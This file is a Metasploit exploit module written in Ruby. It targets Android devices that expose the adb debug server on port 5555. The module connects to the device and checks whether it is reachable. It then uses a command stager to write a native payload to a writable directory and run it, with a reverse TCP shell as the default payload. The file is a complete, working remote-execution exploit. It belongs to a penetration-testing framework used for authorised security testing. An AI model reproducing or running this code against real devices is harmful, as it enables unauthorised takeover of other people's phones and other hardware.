1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::Tcp
10
  include Msf::Exploit::CmdStager
11

12
  def initialize(info = {})
13
    super(
14
      update_info(
15
        info,
16
        'Name' => 'Android ADB Debug Server Remote Payload Execution',
17
        'Description' => %q{
18
          Writes and spawns a native payload on an Android device that is listening
19
          for adb debug messages.
20
        },
21
        'Author' => ['joev'],
22
        'License' => MSF_LICENSE,
23
        'DefaultOptions' => { 'PAYLOAD' => 'linux/armle/shell_reverse_tcp' },
24
        'Platform' => 'linux',
25
        'Arch' => [ARCH_ARMLE, ARCH_X86, ARCH_X64, ARCH_MIPSLE],
26
        'Targets' => [
27
          ['armle', { 'Arch' => ARCH_ARMLE }],
28
          ['x86', { 'Arch' => ARCH_X86 }],
29
          ['x64', { 'Arch' => ARCH_X64 }],
30
          ['mipsle', { 'Arch' => ARCH_MIPSLE }]
31
        ],
32
        'DefaultTarget' => 0,
33
        'DisclosureDate' => '2016-01-01',
34
        'Notes' => {
35
          'SideEffects' => [ ARTIFACTS_ON_DISK ],
36
          'Reliability' => [ REPEATABLE_SESSION ],
37
          'Stability' => [ CRASH_SAFE ]
38
        }
39
      )
40
    )
41

42
    register_options([
43
      Opt::RPORT(5555),
44
      OptString.new('WritableDir', [true, 'Writable directory', '/data/local/tmp/'])
45
    ])
46
  end
47

48
  def check
49
    setup_adb_connection do
50
      device_info = @adb_client.connect.data
51
      print_good("Detected device:\n#{device_info}")
52
      return CheckCode::Vulnerable
53
    end
54

55
    CheckCode::Unknown
56
  end
57

58
  def execute_command(cmd, _opts)
59
    response = @adb_client.exec_cmd(cmd)
60
    print_good("Command executed, response:\n #{response}")
61
  end
62

63
  def exploit
64
    setup_adb_connection do
65
      device_data = @adb_client.connect
66
      print_good("Connected to device:\n#{device_data.data}")
67
      execute_cmdstager({
68
        flavor: :echo,
69
        enc_format: :octal,
70
        prefix: '\\\\0',
71
        temp: datastore['WritableDir'],
72
        linemax: Rex::Proto::ADB::Message::Connect::DEFAULT_MAXDATA - 8,
73
        background: true,
74
        nodelete: true
75
      })
76
    end
77
  end
78

79
  def setup_adb_connection(&blk)
80
    print_status('Connecting to device...')
81
    connect
82
    @adb_client = Rex::Proto::ADB::Client.new(sock)
83
    blk.call
84
  ensure
85
    disconnect
86
  end
87
end
88

89